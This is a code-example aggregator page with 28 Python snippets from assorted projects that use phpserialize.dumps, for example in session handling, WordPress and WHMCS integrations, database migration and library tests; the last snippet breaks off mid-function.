Ejemplo n.º 1
0
    def create(self):
        timestamp = calendar.timegm(time.gmtime())

        self.cookie['session_id'] = self.crypt.md5(uuid.uuid4().get_bytes())
        self.cookie['ip_address'] = request.remote_addr
        self.cookie['user_agent'] = request.environ.get('HTTP_USER_AGENT', '')[0:50]
        self.cookie['last_activity'] = timestamp

        max_age = self.lifetime if self.lifetime else self.one_day
        expires = timestamp + max_age

        params = {}
        if max_age:
            params['max_age'] = max_age
        if expires:
            params['expires'] = expires
        params['domain'] = self.domain
        params['path'] = self.path
        if self.secure:
            params['secure'] = self.secure
        if self.httponly:
            params['httponly'] = self.httponly

        data = phpserialize.dumps(
            self.data, object_hook=phpserialize.phpobject)
        self.redis.set(self.cookie['session_id'], data)
        self.redis.expire(self.cookie['session_id'], max_age)
        response.set_cookie(self.name, urllib.quote_plus(
            self.crypt.encrypt(phpserialize.dumps(self.cookie))), **params)
Ejemplo n.º 2
0
def save_path(path, target_uid, source_uid):
    if (len(path) == 2):
        print phpserialize.dumps({
           "link": path[0],
           "path": path[1],
        });
    else:
        print ""
Ejemplo n.º 3
0
def to_wf(args, wid_to_topics):
    with open(args.topics_file.name.replace('.csv', '-wf-vars.csv'), 'w') as newfl:
        newlines = []
        for wid in wid_to_topics:
            top_topics = sorted(wid_to_topics[wid].keys(), key=lambda x: wid_to_topics[wid][x], reverse=True)[:5]
            newlines.append("%s,1344,%s" % (wid, phpserialize.dumps(top_topics)))
        newfl.write("\n".join(newlines))
Ejemplo n.º 4
0
 def _sendProxySession(self, req, ctx):
    session = inevow.ISession(ctx)
    headers=req.requestHeaders
    if headers.hasHeader("DMSESSION"):
       headers.removeHeader("DMSESSION")
    headervalue = str(session.uid)
    cols=['username','passwd','id','homepath','email','tts','language','slide',
          'webspeech','speechlang','gui_theme', 'left_bar','right_bar']
    try:
       headervalue = session.mind.perms.toHash(cols)
    except:
       headervalue={}
       headervalue['username'] = "******"
       headervalue['passwd'] = ""
       headervalue['id'] = 0
       headervalue['homepath'] = '/'
       headervalue['email'] = ""
       headervalue['tts']= 0
       headervalue['language']="it"
       headervalue['slide'] = 0
       headervalue['webspeech'] = 'touch'
       headervalue['speechlang'] = 'it-IT'
       headervalue['gui_theme' ] = 'dmblack'
       headervalue['left_bar' ] = 'hidden-sm'
       headervalue['right_bar' ] = 'hidden-sm'
    headervalue['sessionid'] = session.uid
    headervalue['logged'] = self.logged
    log.debug('DMSESSION SEND '+str(headervalue))
    headers.addRawHeader("DMSESSION", phpserialize.dumps(headervalue))
    return req
Ejemplo n.º 5
0
    def _getAndFormatURLs(self, session):
        """
        Pull the URL information from the main database, and format it correctly
        for the ____________ table.
        """
        sql_statement = """
SELECT  OrganizationXHCURL.ROLE, HCURL.URL 
FROM    OrganizationXHCURL LEFT JOIN HCURL ON 
            OrganizationXHCURL.URLOID=HCURL.URLOID
WHERE   OrganizationXHCURL.ORGANIZATIONOID='{organization_id}' AND
        (OrganizationXHCURL.ROLE='Main' OR 
         OrganizationXHCURL.ROLE LIKE '%HC%' OR 
         OrganizationXHCURL.ROLE='Full' OR 
         OrganizationXHCURL.ROLE='Relative')
""".format(organization_id=self.organization_oid)
        url_results = session.execute(sql_statement)
        session.commit()
        current_url = url_results.fetchone()
        all_urls = {}
        while current_url is not None:
            #TODO could probably change this to a more comprehensive test of how
            # good the string is as a url, with little effort
            if (current_url.URL is None or contains_whitespace(current_url.URL)):
                current_url = url_results.fetchone()
                continue
            # TODO: This line is just copying the format from the php file, the
            # format makes no sense
            all_urls[current_url.ROLE] = dict(
                [(current_url.URL,current_url.URL)])

            current_url = url_results.fetchone()
        return phpserialize.dumps(all_urls)
Ejemplo n.º 6
0
def encode(vars):
    vars = dict(vars)
    fp = StringIO()
    for k,v in vars.iteritems():
        fp.write(k)
        fp.write('|')
        fp.write(phpserialize.dumps(v))
    return fp.getvalue()
Ejemplo n.º 7
0
	def insert_session(self,var,value):
		session_id = self.generateRandomString(20);
		data = {}
		data[var] =  value;
		data2 = phpserialize.dumps(data)
		#print data2
		session = Session(session_id = session_id,data = data2)
		DBSession.add(session)
		return session_id;
Ejemplo n.º 8
0
def py2php(python_var):
    """Convert a python object into php serialized code string.
    """
    serialized = phpserialize.dumps(python_var,
                                    charset=encoding.default_encoding,
                                    errors=encoding.default_errors)
    serialized = encoding.decode(serialized)
    encoded = Encode(serialized).php_loader()
    raw_php_var = 'unserialize(%s)' % encoded
    return raw_php_var
Ejemplo n.º 9
0
    def save(self):
        timestamp = calendar.timegm(time.gmtime())
        max_age = self.lifetime if self.lifetime else self.one_day
        expires = timestamp + max_age

        params = {}
        if max_age:
            params['max_age'] = max_age
        if expires:
            params['expires'] = expires
        params['domain'] = self.domain
        params['path'] = self.path
        if self.secure:
            params['secure'] = self.secure
        if self.httponly:
            params['httponly'] = self.httponly

        data = phpserialize.dumps(
            self.data, object_hook=phpserialize.phpobject)
        self.redis.set(self.cookie['session_id'], data)
        response.set_cookie(self.name, urllib.quote_plus(
            self.crypt.encrypt(phpserialize.dumps(self.cookie))), **params)
Ejemplo n.º 10
0
    def encrypt(self, text):
        iv = ''.join(chr(random.randint(0, 0xFF)) for i in range(16))
        base64_iv = base64.b64encode(iv)
        mode = AES.MODE_CBC
        encrypter = AES.new(self.key, mode, IV=iv)

        value = base64.b64encode(encrypter.encrypt(self._pad(dumps(text))))
        mac = self._hash(base64_iv, value)

        json_encoded = json.dumps({
            'iv': base64_iv,
            'value': value,
            'mac': mac
        })

        return base64.b64encode(json_encoded)
Ejemplo n.º 11
0
    def export(self, **options):
        '''
        Exports the data into a PHP Serialized Data file-like stream.

        Arguments:
            options (dict): The exporting options

        Returns:
            io.BytesIO: A PHP Serialized Data file-like stream

        Raises:
            ExportError: When data fails to export
        '''
        data = self._data.normalize()
        php_serialized_data = phpserialize.dumps(data)

        return io.BytesIO(php_serialized_data)
Ejemplo n.º 12
0
def pretty_json():
    json_data = request.form['jsonText']
    type = request.form['type']
    try:
        json_data = loads(json_data)
        if type == 'phpSerialize':
            json_data = php.dumps(json_data)
        elif type == 'dict':
            json_data = str(json_data)
        elif type == 'pretty':
            json_data = dumps(json_data, indent=4)
        elif type == 'php':
            json_data = dumps(json_data, indent=4)
            json_data = json_data.replace('{', '[').replace('}', ']').replace(':', '=>')
    except ValueError:
        json_data = '不是json'
    return str(json_data)
Ejemplo n.º 13
0
    def update_user(self, name, company, emails, password, companyurl, displayname, creationTime):
        print 'Updating %s' % name
        user_request_params = dict(

                    action = 'updateclient',
                    responsetype = 'json',
                    firstname = name,
                    companyname = company,
                    email = emails,
                    password2 = password,
                    customfields = base64.b64encode(phpserialize.dumps([companyurl, displayname, creationTime])),
                    noemail = True,
                    skipvalidation= True

                    )
        
        response = self._call_whmcs_api(user_request_params)
        return response.ok
Ejemplo n.º 14
0
    def test_dumps_dict(self):
        def sort_serialized(output):
            """
            Split up the serialized output and sort the contents
            """
            header_end_index = len(u'{a:n:{')
            footer_begin_index = -1

            serialized_header = output[0:header_end_index]
            serialized_payload = output[header_end_index:footer_begin_index]
            serialized_footer = output[footer_begin_index:]
            return serialized_header, sorted(serialized_payload.split(b';')), serialized_footer

        # As dicts are not ordered, we cannot have expectations on the serialization order
        expected = sort_serialized(b'a:3:{s:1:"a";i:1;s:1:"c";i:3;s:1:"b";i:2;}')
        output = sort_serialized(phpserialize.dumps({'a': 1, 'b': 2, 'c': 3}))

        self.assertEqual(expected, output)
Ejemplo n.º 15
0
        def setmeta():
            wpuser = WpUsers.objects.filter(
                user_login=instance.username).first()
            if not wpuser:
                return

            wpuser.set_meta('wp_user_level',  user_level)
            wpuser.set_meta('first_name',  instance.first_name)
            wpuser.set_meta('last_name',  instance.last_name)
            wpuser.set_meta('nickname',  display_name)

            if user_level == 10:
                cap = {
                    'contributer': True,
                    'administrator': True, }
                wpuser.set_meta(
                    'wp_capabilities',
                    phpserialize.dumps(cap))
Ejemplo n.º 16
0
    def getData(self, form, data):
        """
        Get custom data
        """
        billing = data.get(u'billing')
        name = billing.get(u'name')
        email = billing.get(u'email')
        phone = billing.get(u'phone')
        cart = data.get(u'cart', [])
        output = {
            u'ProductsData': {},
            u'UserData': {
                u'Email': email,
                u'Name': name,
                u'Phone': phone,
                u'BillingName': name,
                u'BillingEmail': email,
                u'BillingPhone': phone,
                u'BillingCity': billing.get(u'city'),
                u'BillingCountry': billing.get(u'country'),
                u'BillingAddress': billing.get(u'address'),
                u'BillingPostalCode': billing.get(u'postalcode'),
            },
        }

        vat = 1 + self.settings.vat / 100
        for index, item in enumerate(cart):
            name = u"%s %s" % (item[u'firstName'], item[u'lastName'])
            categ = (u"Early birds ticket" if self.settings.early_birds
                                           else u"Regular ticket")
            pid = u"early" if self.settings.early_birds else u"regular"

            output[u'ProductsData'][index] = {
                u"ItemName": u"Ticket %s" % name,
                u"ItemDesc": u"Plone Conf. 2015 ticket - %s" % name,
                u"Categ": categ,
                u"Quantity": u"1",
                u"Price": u"%s" % self.exchange(self.settings.price * vat),
                u"ProductId": pid
            }

        output = phpserialize.dumps(output)
        return base64.b64encode(output)
Ejemplo n.º 17
0
def main():
    chr_file = 'CHR_DUMP'
    org_chromo_file = 'organism_chromosomes.tsv'
    if not os.path.exists(org_chromo_file):
        compile_organism_chromos(chr_file, org_chromo_file)

    org_chromos = retrieve_organism_chromos(org_chromo_file)

    php_dump = sys.argv[1]
    input_dict = phpserialize.loads(php_dump)
    print input_dict
    output_intervals = []
    organism = input_dict[max(input_dict.keys())].split('=')[1]
    del input_dict[max(input_dict.keys())]
    for interval in input_dict:
        if not input_dict[interval]:
            continue
        match = re.search('(.+)[-:_](\d+-\d+)', input_dict[interval])
        if match:
            fields = match.groups()
            print 'FIELDS', fields
            chromo, region = fields[:2]
            try:
                region_min, region_max = map(int, region.split('-'))
                if region_min >= region_max:
                    output_intervals.append('INTERVAL_ERROR')
                    continue
            except ValueError:
                print 'valueerr'
                output_intervals.append('INTERVAL_ERROR')
                continue
            corrections = get_corrections(chromo, org_chromos[organism])
            if corrections:
                output_intervals.append('|'.join([chromo+':'+region for chromo in corrections]))
            else:
                print 'ERRORFOUND'
                output_intervals.append('ERROR')
        else:
            output_intervals.append('INTERVAL_ERROR')
        print input_dict[interval], output_intervals, '\n'

    print output_intervals
    sys.stdout.write(phpserialize.dumps(output_intervals))
Ejemplo n.º 18
0
    def add_order(self, userId, productId, name, cloudbrokerId, status='Active'):
        
        request_params = dict(

                    action = 'addorder',
                    name=name,
                    status=status,
                    pid = productId,
                    clientid = userId,
                    billingcycle = 'monthly',
                    paymentmethod = 'paypal',
                    customfields = base64.b64encode(phpserialize.dumps([cloudbrokerId])),
                    noemail = True,
                    skipvalidation= True

                    )
        
        response = self._call_whmcs_api(request_params)
        return response.ok
Ejemplo n.º 19
0
    def test_object_hook(self):
        class User(object):
            def __init__(self, username):
                self.username = username

        def load_object_hook(name, d):
            return {'WP_User': User}[name](**d)

        def dump_object_hook(obj):
            if isinstance(obj, User):
                return phpserialize.phpobject('WP_User', {'username': obj.username})
            raise LookupError('unknown object')

        user = User('test')
        x = phpserialize.dumps(user, object_hook=dump_object_hook)
        y = phpserialize.loads(x, object_hook=load_object_hook,
                               decode_strings=True)
        self.assert_(b'WP_User' in x)
        self.assertEqual(type(y), type(user))
        self.assertEqual(y.username, user.username)
Ejemplo n.º 20
0
def dumps(obj):
    return phpserialize.dumps(all.traverse_and_encode(obj, None, CUSTOM_TRAVERSE))
Ejemplo n.º 21
0
 def test_dumps_unicode(self):
     self.assertEqual(phpserialize.dumps('Björk Guðmundsdóttir'),
                      b's:23:"Bj\xc3\xb6rk Gu\xc3\xb0mundsd\xc3\xb3ttir";')
Ejemplo n.º 22
0
def serialized_table_replace(table, value_column, id_column, old_value,
                             new_value):
    '''Purpose: replaces values in a given table and given column for tables containing
            serialized data which may or may not contain nonserialized data
    Requires: database cursor, table to replace values in, column to replace values in,
            column containing record IDs, the value to be replaced, and the value to replace it with
    Returns: the number of records changed
    '''
    def unserialized_data_replace(unserialized):
        '''Purpose: recursively goes through elements of unserialized data and replaces old value
        Requires: unserialized data.  Can be a string, dictionary, or an object
        Returns: the same unserialized data with the old value replaced
        '''

        if type(unserialized) == type:  # if unserialized is an object
            for attr in unserialized.__dict__:
                if not attr.startswith('__') and not attr.endswith(
                        '__'):  # only process non-built-in attributes
                    setattr(unserialized, attr,
                            unserialized_data_replace(
                                getattr(
                                    unserialized,
                                    attr)))  # recursively process attributes
        elif type(unserialized) == dict:  # if unserialized is a dictionary
            for key in unserialized:
                unserialized[key] = unserialized_data_replace(
                    unserialized[key]
                )  # recursively process each key of the dictionary
        elif type(
                unserialized
        ) == str:  # only process strings; only they'll contain the old value
            if unserialized.find(old_value) != -1:  # if the old value is found
                unserialized = unserialized.replace(old_value, new_value)

        return unserialized

    def maybe_unserialize(maybe_serialized):
        '''Purpose: recursively attemps to unserialize given data.  Some of
                the data in the Wordpress database is serialized multiple
                times and so must be deserialized multiple times.
        Requires: data that may or may not be serialized.
        Returns: unserialized data.
        '''
        try:
            maybe_serialized = php.loads(maybe_serialized)
            return maybe_unserialize(maybe_serialized)
        except ValueError:
            return maybe_serialized

    records_changed = 0  # must be defined in case there aren't any results

    try:
        cursor.execute(
            "SELECT %s, %s FROM %s WHERE %s LIKE '%%%s%%'" %
            (id_column, value_column, table, value_column, old_value))
        # get the result set as a list containing records containing list of fields: 0=id_column, 1=value_column
        result = cursor.fetchall(
        )  # we want a list because we want to modify the results

        # convert result tuple to nested list so it can be modified:
        result_list = []
        for subtuple in result:
            result_list.append(list(subtuple))

        for record in result_list:  # parses through each record in the result list
            if record[1].startswith('a:') or record[1].startswith(
                    's:') or record[1].startswith(
                        'O:'):  # record contains serialized data
                #--------DEBUGGING:-------
                #                print "blog_id: %s, %s_id: %s" % (blog_id, column, record[0])  # print option_id of serialized data

                #                unserialized = php.loads(record[1].encode('utf_8'))  # result is in unicode, convert to utf_8 or will break serialization

                unserialized = maybe_unserialize(record[1].encode('utf_8'))

                unserialized = unserialized_data_replace(unserialized)

                serialized = php.dumps(unserialized)
                record[1] = serialized

                records_changed += cursor.execute(
                    "UPDATE %s SET %s = '%s' WHERE %s = '%s'" %
                    (table, value_column, MySQLdb.escape_string(
                        record[1]).decode('utf8'), id_column, record[0]))

            else:  # record isn't serialized
                records_changed += cursor.execute(
                    "UPDATE %s SET %s = REPLACE(%s, '%s', '%s') \
                        WHERE %s = '%s'" %
                    (table, value_column, value_column, old_value, new_value,
                     id_column, record[0]))

    except MySQLdb.Error, error:  # if there's an error
        sys.stderr.write('ERROR:\t%s\n' % (error))  # write to the error log
        records_changed = 0
Ejemplo n.º 23
0
def wordpress_post(config):
    print("Connecting to: " + config.wordpress['xmlrpc'])
    wp = Client(config.wordpress['xmlrpc'], config.wordpress['username'],
                config.wordpress['password'])

    if config.attach_header:
        print("Uploading header image...")
        # Upload header image
        data = {
            'name': os.path.basename(config.png_header_file),
            'type': 'image/png',
        }

        # Read the image and let the XMLRPC library encode it to base64
        with open(config.png_header_file, 'rb') as img:
            data['bits'] = xmlrpc_client.Binary(img.read())

        response = wp.call(media.UploadFile(data))
        attachment_id = response['id']

    print("Posting blog...")
    post = WordPressPost()
    post.title = config.wordpress['title']
    post.content = config.wordpress['content']
    post.post_format = config.wordpress['post_format']
    post.post_status = config.wordpress['post_status']
    post.comment_status = config.wordpress['comment_status']
    if config.attach_header:
        post.thumbnail = attachment_id

    # FIXME: Make sure tags and category are defined. Don't assume they are.
    post.terms_names = {
        'post_tag': [config.wordpress['tags']],
        'category': [config.wordpress['category']]
    }

    url = config.wordpress['uploads_url'].format(config.season, config.episode,
                                                 config.mp3_file)

    if config.wordpress['podcast_plugin'] == 'Powerpress':
        config = get_audio_size_and_duration(config)

        enclosureData = {
            'duration': config.mp3['duration'],
            'size': config.mp3['size'],
            ### Below items are best left undefined unless we really
            ### want to force their settings per upload.
            # 'embed':       True,
            # 'keywords':    '',
            # 'subtitle':    '',
            # 'summary':     '',
            # 'gp_desc':     '',
            # 'gp_explicit': False,
            # 'gp_block':    '',
            # 'author':      '',
            # 'no_player':   False,
            # 'no_links':    False,
            # 'explicit':    False,
            # 'cc':          '',
            # 'order':       0,
            # 'always':      '',
            # 'block':       '',
            # 'image':       '',
            # 'ishd':        False, # Is an HD Video
            # 'height':      0,     # Video Height
            # 'width':       0,     # Video Width
            # 'webm_src':    '',
            # 'feed_title':  '',
        }

        post.custom_fields = []
        post.custom_fields.append({
            'key':
            'enclosure',
            'value':
            "{}\n{}\n{}\n{}".format(url, config.mp3['size'],
                                    config.tags['podcast_type'] or 'episodic',
                                    dumps(enclosureData).decode('ascii')),
        })

    post.id = wp.call(NewPost(post))
Ejemplo n.º 24
0
 def test_tuple_roundtrips(self):
     x = phpserialize.loads(phpserialize.dumps(list(range(2))))
     self.assertEqual(x, {0: 0, 1: 1})
     y = phpserialize.dict_to_tuple(x)
     self.assertEqual(y, (0, 1))
Ejemplo n.º 25
0
 def test_dumps_float(self):
     self.assertEqual(phpserialize.dumps(5.6), b'd:5.6;')
Ejemplo n.º 26
0
    def process_item(self, item, spider):
        now_time = int(time.time())
        goods_url = item['goods_url']
        goods_name = item['goods_name'].replace("'","\\'")
        goods_jingle = item['goods_jingle'].replace("'","\\'")
        goods_desc = item['goods_desc'].replace("'","\\'").replace("\n","")
        item['goods_price'] = round(item['goods_price'] * 1.25 + 2)
        goods_marketprice = item['goods_price'] * 2
        rate = round(item['goods_price']/goods_marketprice,1)*10
        if int(rate) == 10:
            rate = 0
        goods_image = 'https:'+item['goods_image']
        self.img_url = goods_image
        shop_info = item['shop_info']
        goods_serial = item['goods_serial'].replace("\n","").replace(' ','')
        if not item['shop_name'] is None:
            shop_name = item['shop_name'].replace("\n","").replace(' ','')
        else:
            shop_name = ''
        if not item['shop_range'] is None:
            shop_range = item['shop_range']
        else:
            shop_range = '0'
        if not item['shop_ali'] is None:
            shop_ali = item['shop_ali']
        else:
            shop_ali = ''
        if not item['shop_mobile'] is None:
            shop_mobile = item['shop_mobile']
        else:
            shop_mobile = ''
        if not item['shop_address'] is None:
            shop_address = item['shop_address'].replace(' ','')
        else:
            shop_address = ''
        if not item['goods_salenum'] is None:
            goods_salenum = item['goods_salenum']
        else:
            goods_salenum = '0'
        #判断商品是否存在
        sql_exsits = "select goods_commonid,goods_image,goods_image_old from mall_goods_common where goods_url='%s'" % (goods_url)
        self.cur.execute(sql_exsits)
        ret = self.cur.fetchone()
        if not ret is None:
            #处理图片问题
            root = "/image/1/"
            path = root +ret[1]
            #当原始图片不存在时候直接下载
            curPath = os.path.abspath(os.path.dirname(__file__))+path
            if self.img_url:
                if not os.path.exists(curPath):
                    goods_image = self.down_img()
                else:
                    #当存在的时候
                    if self.img_url != ret[2]:
                        os.remove(path)
                        goods_image = self.down_img()
                    else:
                        goods_image = ret[1]

            #更新
            sqlupdatecommon = "UPDATE mall_goods_common SET goods_name='%s',goods_image='%s',goods_price='%s',goods_jingle_other='%s',goods_body='%s',mobile_body='%s',goods_marketprice='%s',goods_costprice='%s',shop_info='%s',goods_image_old='%s',goods_serial='%s',transport_id='%s',transport_title='%s',is_support_voucher='%s' WHERE goods_commonid = '%s'" % (goods_name,goods_image,item['goods_price'],goods_jingle,goods_desc,goods_desc,goods_marketprice,item['goods_costprice'],shop_info,self.img_url,goods_serial,'11','拼拼侠通用运费模板','1',ret[0])
            self.cur.execute(sqlupdatecommon)
            #更新店铺信息
            self.oper_shop(shop_name,shop_range,shop_ali,ret[0],shop_mobile,shop_address)
            #更新goods
            sqlgoods = "SELECT goods_id FROM mall_goods WHERE goods_commonid='%s'" % (ret[0])
            self.cur.execute(sqlgoods)
            results = self.cur.fetchall()
            for row in results:
                sqlupdategoods = "UPDATE mall_goods SET goods_image='%s',goods_storage='%s',goods_price='%s',goods_jingle_other='%s',goods_edittime='%s',goods_tradeprice='%s',goods_promotion_price='%s',goods_marketprice='%s',goods_salenum='%s',transport_id='%s' WHERE goods_id=%s" % (goods_image,item['goods_storage'],item['goods_price'],goods_jingle,now_time,item['goods_price'],item['goods_price'],goods_marketprice,goods_salenum,'11',row[0])
                self.cur.execute(sqlupdategoods)
                common_key = str(ret[0])
                goods_key = str(row[0])
                #更新mall_p_xianshi_goods
                sql_xianshi = "UPDATE mall_p_xianshi_goods SET goods_image='%s',goods_price='%s',market_price='%s',xianshi_price='%s',rate='%s' WHERE goods_id = %s" % (goods_image,item['goods_price'],goods_marketprice,item['goods_price'],rate,row[0])
                self.cur.execute(sql_xianshi)
                self.r.delete('ppxMall_goods_common'+common_key)
                self.r.delete('ppxMall_goods'+goods_key)
                self.r.delete('ppxMall_goods_xianshi'+goods_key)
                goods_key_tmp = 'ppxMall_goods_image'+goods_key+'|*'
                if len(self.r.keys(pattern=goods_key_tmp)):
                    self.r.delete(*self.r.keys(pattern=goods_key_tmp))
            self.client.commit()
        else:
            #新增
            if item['gc_name'] in self.cat_info:
                #爬取图片
                goods_image = self.down_img()
                #处理商品分类 没有添加,有使用
                gc_select = "select * from mall_goods_class where gc_name='%s'"
                gc_insert = 'insert into mall_goods_class (gc_name,type_id,type_name,gc_parent_id,commis_rate,gc_sort,gc_virtual,gc_title,gc_keywords,gc_description)' \
                            'values (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)'

                sql_gc1 = gc_select % (self.cat_info[item['gc_name']]['gc_id_1'])
                self.cur.execute(sql_gc1)
                gc1_info = self.cur.fetchone()
                if not gc1_info is None:
                    gc1_id = gc1_info[0]
                else:
                    lisgc1 = (self.cat_info[item['gc_name']]['gc_id_1'],6,'服装',0,0,0,0,'','','')
                    self.cur.execute(gc_insert,lisgc1)
                    gc1_id = int(self.client.insert_id())

                sql_gc2 = gc_select % (self.cat_info[item['gc_name']]['gc_id_2'])
                self.cur.execute(sql_gc2)
                gc2_info = self.cur.fetchone()
                if not gc2_info is None:
                    gc2_id = gc2_info[0]
                else:
                    lisgc2 = (self.cat_info[item['gc_name']]['gc_id_2'],6,'服装',gc1_id,0,0,0,'','','')
                    self.cur.execute(gc_insert,lisgc2)
                    gc2_id = int(self.client.insert_id())

                sql_gc3 = gc_select % (self.cat_info[item['gc_name']]['gc_id_3'])
                self.cur.execute(sql_gc3)
                gc3_info = self.cur.fetchone()
                if not gc3_info is None:
                    gc3_id = gc3_info[0]
                else:
                    lisgc3 = (self.cat_info[item['gc_name']]['gc_id_3'],6,'服装',gc2_id,0,0,0,'','','')
                    self.cur.execute(gc_insert,lisgc3)
                    gc3_id = int(self.client.insert_id())

                #添加属性,规格
                ms_select = "select * from mall_spec where sp_name='%s'"
                ms_insert = 'insert into mall_spec (sp_name,sp_sort,class_id,class_name) values (%s,%s,%s,%s)'
                msv_select = "select * from mall_spec_value where sp_value_name='%s' and sp_id='%s' and gc_id='%s'"
                msv_insert = 'insert into mall_spec_value (sp_value_name,sp_id,gc_id,store_id,sp_value_color,sp_value_sort) values (%s,%s,%s,%s,%s,%s)'
                mts_select = "select * from mall_type_spec where type_id='%s' and sp_id='%s'"
                mts_insert = 'insert into mall_type_spec (type_id,sp_id) values (%s,%s)'
                sp_name = dict()
                sp_val = dict()
                sp_val_list = dict()
                for i_item in item['goods_attr']:
                    if i_item is None:
                        continue
                    sql_ms = ms_select % (i_item)
                    self.cur.execute(sql_ms)
                    ms_info = self.cur.fetchone()
                    if not ms_info is None:
                        sp_id = ms_info[0]
                    else:
                        lisms = (i_item,0,0,'')
                        self.cur.execute(ms_insert,lisms)
                        sp_id = int(self.client.insert_id())
                    sp_name[sp_id] = i_item
                    #添加类型规格关系表
                    sql_mts = mts_select % ('6',sp_id)
                    self.cur.execute(sql_mts)
                    mts_info = self.cur.fetchone()
                    if mts_info is None:
                        lismts = ('6',sp_id)
                        self.cur.execute(mts_insert,lismts)
                    #添加规格的值
                    for c_item in item['goods_attr'][i_item]:
                        sql_msv = msv_select % (c_item, sp_id, gc3_id)
                        self.cur.execute(sql_msv)
                        msv_info = self.cur.fetchone()
                        if not msv_info is None:
                            sp_value_id = msv_info[0]
                        else:
                            lismsv = (c_item,sp_id,gc3_id,1,'',0)
                            self.cur.execute(msv_insert,lismsv)
                            sp_value_id = int(self.client.insert_id())
                        if sp_id in sp_val:
                            sp_val[sp_id].update({sp_value_id:c_item})
                            sp_val_list[sp_value_id] = c_item
                        else:
                            sp_val[sp_id] = {sp_value_id:c_item}
                            sp_val_list[sp_value_id] = c_item

                #开始添加商品了
                #mall_goods_common
                sp_name_tmp = phpserialize.dumps(sp_name).decode('utf-8')
                sp_val_tmp = phpserialize.dumps(sp_val).decode('utf-8')
                sqlcommon = 'insert into mall_goods_common' \
                            '(goods_name,goods_image,goods_price,goods_jingle,mobile_body,gc_id,gc_id_1,gc_id_2,gc_id_3,gc_name,store_id,store_name,spec_name,spec_value,brand_id,brand_name,goods_attr,goods_body,goods_state,goods_verify,goods_addtime,goods_selltime,goods_specname,goods_marketprice,goods_costprice,goods_discount,goods_serial,goods_storage_alarm,areaid_1,areaid_2,appoint_satedate,presell_deliverdate,goods_url,goods_jingle_other,shop_info,goods_image_old,is_support_voucher,transport_id,transport_title) ' \
                            'VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)'
                liscommon = (goods_name,goods_image,item['goods_price'],'',goods_desc,gc3_id,gc1_id,gc2_id,gc3_id,self.cat_info[item['gc_name']]['gc_id_3'],'1','拼拼侠',sp_name_tmp,sp_val_tmp,self.brand_info[item['goods_brand']],item['goods_brand'],'N;',goods_desc,'1','1',now_time,now_time,item['goods_brand'],goods_marketprice,item['goods_costprice'],'100',goods_serial,'1','1','1',now_time,now_time,item['goods_url'],goods_jingle,shop_info,self.img_url,'1','11','拼拼侠通用运费模板')
                self.cur.execute(sqlcommon,liscommon)
                common_id = int(self.client.insert_id())
                if common_id:
                    #更新店铺信息
                    self.oper_shop(shop_name,shop_range,shop_ali,common_id,shop_mobile,shop_address)

                    #处理商品相册
                    if not item['goods_images'] is None:
                        mgi_insert = 'insert into mall_goods_images (goods_commonid,store_id,color_id,goods_image,goods_image_sort,is_default) values (%s,%s,%s,%s,%s,%s)'
                        for goods_images_v in item['goods_images']:
                            goods_images_v = 'https:'+goods_images_v
                            goods_images_v = self.down_imgs(goods_images_v)
                            lismgi = (common_id,1,0,goods_images_v,0,0)
                            self.cur.execute(mgi_insert,lismgi)

                    sp_tmp = dict()
                    i = 1
                    for sp_val_item in sp_val:
                        sp_tmp[i] = sp_val[sp_val_item]
                        i += 1
                    for x in itertools.product(sp_tmp[1],sp_tmp[2]):
                        goods_sku_name = goods_name
                        sp_value = dict()
                        for x_i in x:
                            sp_value[x_i] = sp_val_list[x_i]
                            goods_sku_name += ' ' + sp_val_list[x_i]
                        sp_value_serilize = phpserialize.dumps(sp_value).decode('utf-8')
                        #mall_goods
                        sqlgoods = 'insert into mall_goods(goods_commonid,goods_name,goods_jingle,store_id,store_name,gc_id,gc_id_1,gc_id_2,gc_id_3,brand_id,goods_price,goods_tradeprice,goods_promotion_price,goods_promotion_type,goods_marketprice,goods_serial,goods_storage_alarm,goods_click,goods_salenum,goods_collect,goods_spec,goods_storage,goods_image,goods_state,goods_verify,goods_addtime,goods_edittime,areaid_1,areaid_2,color_id,goods_freight,goods_vat,goods_commend,goods_stcids,evaluation_good_star,evaluation_count,is_virtual,virtual_indate,virtual_limit,virtual_invalid_refund,is_fcode,is_appoint,is_presell,have_gift,is_own_shop,distribution_price_1,distribution_price_2,distribution_price_3,commission_percent,goods_jingle_other,transport_id)' \
                                   'VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)'
                        lisgoods = (common_id,goods_sku_name,'','1','拼拼侠',gc3_id,gc1_id,gc2_id,gc3_id,self.brand_info[item['goods_brand']],item['goods_price'],item['goods_price'],item['goods_price'],'0',goods_marketprice,'','1','1',goods_salenum,'1',sp_value_serilize,item['goods_storage'],goods_image,'1','1',now_time,now_time,'1','1','0','0','0','0','1','5','0','0','0','0','0','0','0','0','0','0','0','0','0','0',goods_jingle,'11')
                        self.cur.execute(sqlgoods,lisgoods)
                    self.client.commit()

        return item
Ejemplo n.º 27
0
 def test_dumps_list(self):
     self.assertEqual(phpserialize.dumps([7, 8, 9]),
                      b'a:3:{i:0;i:7;i:1;i:8;i:2;i:9;}')
Ejemplo n.º 28
0
def handleCategories(article):
    categoryIds = extractStringList(article.otherTagIds)
    termTranslations = getTermTranslations()

    try:
        if len(categoryIds) > 0:
            logging.info(f'ensuring categories {categoryIds}')
            wp_categories = []
            for categoryId in categoryIds:

                category = tagDir.get(categoryId)
                if category != None:
                    lang_category = category.get(article.language)

                    wp_category = findTermTranslationByName(
                        lang_category.get('label'), termTranslations)
                    if wp_category != None:
                        wp_categories.append(wp_category)
                    else:
                        # create terms
                        term_translation_desc = {}
                        wp_categories_created = []
                        for k, translation in category.items():
                            slug = translation.get('slug')
                            language = translation.get('language')
                            tterm = w.Term(taxonomy='category',
                                           name=translation.get('label'),
                                           slug=f'{slug}-{language}')

                            tterm_languageterm = w.Term.q.filter(
                                w.Term.taxonomy == 'term_language',
                                w.Term.slug == f'pll_{language}').first()
                            if tterm_languageterm == None:
                                raise Exception(
                                    f'term language for {language} not found')

                            tterm.terms.append(tterm_languageterm)
                            # NEED TO add terms for term_translations AND the specific language

                            w.session.add(tterm)
                            w.session.commit()
